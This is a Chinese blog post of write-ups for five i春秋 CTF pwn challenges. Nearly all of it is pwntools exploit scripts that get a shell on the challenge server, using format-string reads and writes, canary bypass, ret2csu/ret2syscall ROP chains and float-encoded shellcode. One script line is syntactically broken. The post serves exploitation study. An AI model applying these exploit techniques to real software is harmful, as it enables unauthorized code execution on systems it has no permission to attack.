i春秋上的几道pwn题

原创

forestdwelling 于 2019-06-17 11:37:25 发布 1336 收藏
分类专栏： 二进制

01.pwnme-50:

Tag: fmtstr任意读 / 整型溢出 / ret2csu_init

```
#encoding:utf-8

from pwn import *


#context.log_level = 'debug'


def leak(addr):
    io.sendafter('>', '2')
    io.sendafter('username(max lenth:20): \n', 'BBBB')
    #用sendline会超出长度
    io.sendafter('please input new password(max lenth:20): \n', '%12$s' + 'bingo!!' + p64(addr))
    io.sendafter('>', '1')
    content = io.recvuntil('bingo!!')
    print content
    #leak函数的返回值为字符串格式，若字符串长度为0，返回\x00
    if len(content) == 11:
        return '\x00'
    else:
        return content[4:-7]


io = remote('106.75.2.53', 10006)
```

```
io.recvuntil('Input your username(max lenth:40): \n')
io.sendline('A')
io.recvuntil('Input your password(max lenth:40): \n')
io.sendline('1')

d = DynELF(leak, elf=ELF('./pwnme'))
system_addr = d.lookup('system', 'libc')
log.info('system_addr:%#x' % system_addr)

io.recvuntil('>')
io.sendline('2')
io.recvuntil('please input new username(max lenth:20): \n')
io.sendline('A')
io.recvuntil('please input new password(max lenth:20): \n')

# rop = ROP('./pwnme')
# rop.raw('a'*0x28)
# rop.raw('/bin/sh')

pop_rdi_ret_addr = 0x400ed3
pppppp_ret = 0x400eca
init_gadget = 0x400EB0
payload = 'A' * 0x28
#选取一个可读写地址作为sh字符串存放地址
bin_sh_addr = 0x602800
#调用read@plt
#ebx赋值为0 ebp赋值为1保证只执行一次——ret2csu
payload += p64(pppppp_ret) + p64(0x0) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0)
#1个add esp 8 + 6个pop = 7
payload += p64(init_gadget) + p64(0x8) * 7
```

```
#弹出bin_addr到rdi,然后调用system
payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
#利用整数溢出绕过长度限制
payload = payload.ljust(0x101, 'A')
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()
```

02.loading-50:

Tag: mmap / shellcode / IEEE754浮点数格式 / python-struct

mmap函数原型

void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

//使用struct模块来变更数据格式

struct模块中最重要的三个函数是pack(), unpack(), calcsize

 # 按照给定的格式(fmt)，把数据封装成字符串(实际上是类似于c结构体的字节流)

pack(fmt, v1, v2, ...)

 # 按照给定的格式(fmt)解析字节流string，返回解析出来的tuple

unpack(fmt,string)

 # 计算给定的格式(fmt)占用多少字节的内存

calcsize(fmt)

上述fmt中，支持的格式为：

FORMAT C TYPE PYTHON TYPE STANDARD SIZE NOTES

x pad byte no value

c char string of length 1 1

b signed char integer 1 (3)

B unsigned char integer 1 (3)

? _Bool bool 1 (1)

h short integer 2 (3)

H unsigned short integer 2 (3)

i int integer 4 (3)

I unsigned int integer 4 (3)

l long integer 4 (3)

L unsigned long integer 4 (3)

q long long integer 8 (2), (3)

Q unsigned long long integer 8 (2), (3)

f float float 4 (4)

d double float 8 (4)

s char[] string

p char[] string

P void * integer (5), (3)

注1.q和Q只在机器支持64位操作系统有意义

注2.每个格式前可以有一个数字，表示个数

注3.s格式表示一定长度的字符串，4s表示长度为4的字符串，但是p表示的是pascal字符串

注4.P用来转换一个指针，其长度和机器字长相关

注5.最后一个可以用来表示指针类型的，占4个字节

为了同c中的结构体交换数据，还要考虑有的c或c++编译器使用了字节对齐，通常是以4个字节为单位的32位系统，故而struct根据本地机器字节顺序转换.可以用格式中的第一个字符来改变对齐方式.定义如下：

CHARACTER BYTE ORDER SIZE ALIGNMENT

@ native native native

= native standard none

< little-endian standard none

> big-endian standard none

! network (= big-endian) standard none

使用方法是放在fmt的第一个位置，就像'@5s6sif

```
import struct
from pwn import *
import time

context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

def get_int(s):
  a = struct.unpack('<f', s)[0]* 2333
  return struct.unpack('I', struct.pack('<I', a))[0]



target = remote('106.75.2.53', 10009)

print "Sending IEEE754 shellcode..."
time.sleep(1)

target.sendline(str(get_int('\x99\x89\xc3\x47')))    # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44')))    # nop/align

for c in '/bin/sh\x00':
  target.sendline(str(get_int('\x99\xb0'+c+'\x47')))  # mov al, c
  target.sendline(str(get_int('\x57\x89\x03\x43')))   # mov [ebx], eax; inc ebx

for i in range(8):
  target.sendline(str(get_int('\x57\x4b\x41\x47')))   # dec ebx

target.sendline(str(get_int('\x99\x31\xc0\x47')))    # xor eax, eax
```

```
target.sendline(str(get_int('\x99\x31\xc9\x47')))    # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47')))    # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47')))    # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47')))    # int 0x80

target.sendline('c')
target.interactive()
```

03.what_the_fuck-50:

Tag: fmtstr任意读写 / Canary绕过（覆盖__stack_chk_fail） / ret2syscall / ret2csu

//除了%n,还有%hn，%hhn，%lln，分别为写入目标空间2字节，1字节，8字节

通过fmtstr泄露read和syscall地址

通过fmtstr在多个连续的栈帧上布置ROP链，共计6次栈溢出，然后通过ROP 和 init 开启shell

开启shell过程 如下图所示

```
#encoding:utf-8
from pwn import *

#context.log_level='debug'
context.arch='amd64'
context.os='linux'
context.terminal=['tmux', 'sp', '-h']

def name(payload):
    io.readuntil('input your name: ')
    io.send(payload)

def msg(payload):
    io.readuntil('leave a msg: ')
    io.send(payload)

#io = process('./what_the_fuck')
```

```
io = remote('106.75.2.53', 10005)

#第一次栈溢出
payload=p64(0x601020)
name(payload)
#修改__stack_chk_fail@got为main——每次出发栈溢出进入main函数
#同时打印read@got的值以及当前存储的rbp的值
payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
payload+='\x00'*(0x18-len(payload))
payload+=p64(0x601040)  #read@got的地址,在往下为rbp
msg(payload)

test=io.readuntil('\x7f')
test=test[-6:]+'\x00'*2
read=u64(test)
print "read_addr => "+hex(read)
syscall=read+0xe #read加上0xe为syscall?原因未知//推测是之前某道题泄露出了libc偏移
#syscall距离libc的偏移通常可以为0xE?
stack=int(io.read(15),10)
print "stack_addr => "+hex(stack)

#第二次栈溢出
payload=p64(0x0)
name(payload)
#read(0, 0x00007ffdc0494e38, 0x200)
payload=p64(0x0400A7C) #init函数——4pop|ret地址
payload+=p64(0x601040)  #read@got的地址 =>
payload+=p64(0x200)
payload+=p64(stack-0x88) #0x00007ffdc0494e38
msg(payload)
```

```
#第三次栈溢出
#*0x00007ffdc0494e30 = 0 是上一个栈帧read的第一个参数(前四字节)
payload=p64(stack-0x90)
name(payload)
payload='%12$n'
payload+='\x00'*(0x20-len(payload))
msg(payload)

#第四次栈溢出
#*0x00007ffdc0494e38 = 0x400A60 => call r12
# ↑第二次溢出的返回地址
#*0x00007ffdc0494e34 = 0 第二个栈帧read的第一个参数(后四字节)
# ↑第二次溢出的name
payload=p64(stack-0x88)
name(payload)
payload='%9$n'+'%.'+str(0x400a60)+'d'+'%12$n'
payload+='\x00'*(0x18-len(payload))
payload+=p64(stack-0x8c)
msg(payload)

#第五次栈溢出
#修改下一次栈溢出保存的
#*0x00007ffdc0494d10 = 0x00007ffdc0494e08
# ↑saved rbp          ↑第三次溢出的返回地址
payload=p64(stack-0x1b0)
name(payload)
rbp=stack-0xb8
rbp=rbp%0x10000
payload='%.'+str(rbp)+'d'+'%12$hn'
payload+='\x00'*(0x20-len(payload))
msg(payload)
```

```
#第六次栈溢出
payload=p64(0x601020) #__stack_chk_fail@got
name(payload)
#leave
payload='%.'+str(0x0a1c)+'d'+'%12$hn'
payload+='\x00'*(0x20-len(payload))
msg(payload)
payload=p64(0x0400A7A)  #6pop|ret
payload+=p64(0x0)       #rbx
payload+=p64(0x1)       #rbp
payload+=p64(0x601040)  #r12 => read(0, bash_addr, 0x3b) 0x3b为execve系统调用号
payload+=p64(0x3b)      #r13 => rdx
payload+=p64(0x601b00)  #r14 => rsi
payload+=p64(0x0)       #r15 => edi
payload+=p64(0x400a60)  #call r12
payload+=p64(0x0)
payload+=p64(0x0)
payload+=p64(0x1)
payload+=p64(0x601b08)  #r12 => syscall(bash_addr, NULL, NULL)
payload+=p64(0x0)
payload+=p64(0x0)
payload+=p64(0x601b00)
payload+=p64(0x400a60)
raw_input('go')
io.send(payload)
raw_input('go')
io.send('/bin/sh'+'\x00'+p64(syscall)+'\x00'*0x2b)
io.interactive()
```

04.easypwn-50:

Tag: Canary绕过（泄露canary） / ret2csu / ret2syscall

//Tip: Canary值以0x00结尾,如果程序没有漏洞但栈上面刚好是一个满的字符串,这个0x00可以当做截断,避免被打印出来

程序有两次输入，第一次用来泄露canary，第二次用来溢出

先通过溢出泄露syscall地址（这里是通过libc发现read+0xe为syscall），然后返回到main，在栈上布置ROP通过csu代码块开启shell

```
#encoding:utf-8

from pwn import *
```

```
context.log_level='debug'
context.arch='amd64'
context.os='linux'
context.terminal=['tmux', 'sp', '-h']



#io = process('./easypwn')
io = remote('106.75.2.53', 10002)

# io.recvuntil('Who are you?\n')
# io.sendline('A'*(0x50-0x8))
# io.recvuntil('A'*(0x50-0x8))
# canary = u64(io.recv(8))-0xa
# log.info('canary:'+hex(canary))

elf = ELF('./easypwn')

io.recvuntil('Who are you?\n')
io.send('a'*0x48+'\x01')
io.recvuntil('a'*0x48)
canary = u64(io.recv(8))-1
log.info("canary => " + hex(canary))
io.recvuntil('name?\n')

main_addr = 0x4006C6
pop_rdi_ret = 0x4007f3
csu_pop = 0x4007EA
csu_call = 0x4007D0

payload = 'a'*0x48 + p64(canary) + 'a'*8
payload += p64(pop_rdi_ret)
```

```
payload += p64(elf.got['read'])
payload += p64(elf.plt['printf'])
payload += p64(main_addr)
io.send(payload)
io.recvuntil('again!\n')
read_addr = u64(io.recvuntil('Hello', drop=True).ljust(0x8, '\x00'))
syscall = read_addr + 0xe
log.info("read => " + hex(read_addr))
log.info("syscall => " + hex(syscall))

io.recvuntil('Who are you?\n')
io.send('a'*0x48+'\x01')
io.recvuntil('a'*0x48)
canary = u64(io.recv(8))-1
log.info("canary => " + hex(canary))
#gdb.attach(io,'b *0x4007d6')
io.recvuntil('name?\n')
payload = 'a'*0x48 + p64(canary) + 'a'*8
payload += p64(csu_pop)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(elf.got['read'])
payload += p64(0x3b)
payload += p64(0x601080)
payload += p64(0x0)
payload += p64(csu_call)
payload += p64(csu_pop)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(0x601088)
payload += p64(0x0)
```

```
payload += p64(0x0)
payload += p64(0x601080)
payload += p64(csu_call)
io.send(payload)
raw_input('go')
io.send('/bin/sh\x00'+p64(syscall)+0x2b*'a')

io.interactive()
```

05.black_hole-50:

Tag: 利用push rbp写入ROP链 / ret2csu / 覆写got爆破syscall

```
#encoding:utf-8
from pwn import *

DEBUG = 0
PATH = './black_hole'
SERVER = ('106.75.2.53', 10001)
context.update(arch='amd64', os='linux', terminal=['tmux', 'sp', '-h'])
if DEBUG:
    context.log_level='debug'
    io = process(PATH)
else:
    io = remote(SERVER[0], SERVER[1])

elf = ELF(PATH)
rop = ROP(PATH)
```

```
gadgets1 = 0x4007AA
gadgets2 = 0x400790
def hole(io,msg):
    sleep(0.1)
    io.send('2333'.ljust(0x20, 'a'))
    sleep(0.1)
    io.send('a'*0x10+msg+p64(0x400704))

payload = []
payload.append(p64(gadgets1))
payload.append(p64(0))
payload.append(p64(1))
payload.append(p64(elf.got['read']))
payload.append(p64(1))
payload.append(p64(elf.got['alarm']))
payload.append(p64(0))
payload.append(p64(gadgets2))
for i in range(7):
    payload.append(p64(0))
payload.append(p64(gadgets1))
payload.append(p64(0))
payload.append(p64(1))
payload.append(p64(elf.got['read']))
payload.append(p64(0x3B))
payload.append(p64(0x601070))
payload.append(p64(0))   #rax=0x3b
payload.append(p64(gadgets2))
payload.append(p64(0))
payload.append(p64(0))
payload.append(p64(1))
```

```
payload.append(p64(0x601078))
payload.append(p64(0))
payload.append(p64(0))
payload.append(p64(0x601070))
payload.append(p64(gadgets2))
#for char in xrange(0x45,0x46):
    #io = process('./black_hole')
    #io = remote('106.75.66.195',11003)
i = len(payload)
for msg in reversed(payload):
    log.info(i)
    i = i-1
    hole(io,str(msg))

#raw_input('Go?')
sleep(0.5)
io.send('2333'+'A'*(0x20-4))
sleep(0.5)
#raw_input('Go?')
io.send('A'*0x18+p64(0x4006CB))
sleep(0.5)
#raw_input('Go?')
#log.info('Trying {0}'.format(str(char)))
io.send(chr(0x5))
#raw_input('Go?')
content = "/bin/sh\x00"
content += p64(elf.plt['alarm']) call *(&alarm@plt)
content = content.ljust(0x3b,'A')
sleep(0.5)
io.send(content)
#io.sendline('ls')
```

```
#try:
io.interactive()
#except:
io.close()
```

总结：

64位下泄露syscall的地址

找到函数体中含有syscall且链接到可执行文件的函数

有libc的情况下直接计算偏移，没有libc的情况下可以爆破大小为1byte的偏移

然后

方法一：覆写该函数的got表的最后一位，然后将func@plt写入栈中，通过csu跳转到syscall

方法二：泄露出func@got的值，然后利用该值加上偏移得到syscall地址写入栈中，通过csu跳转到syscall

//要注意本地的libc和服务端libc版本不同，syscall的偏移也不同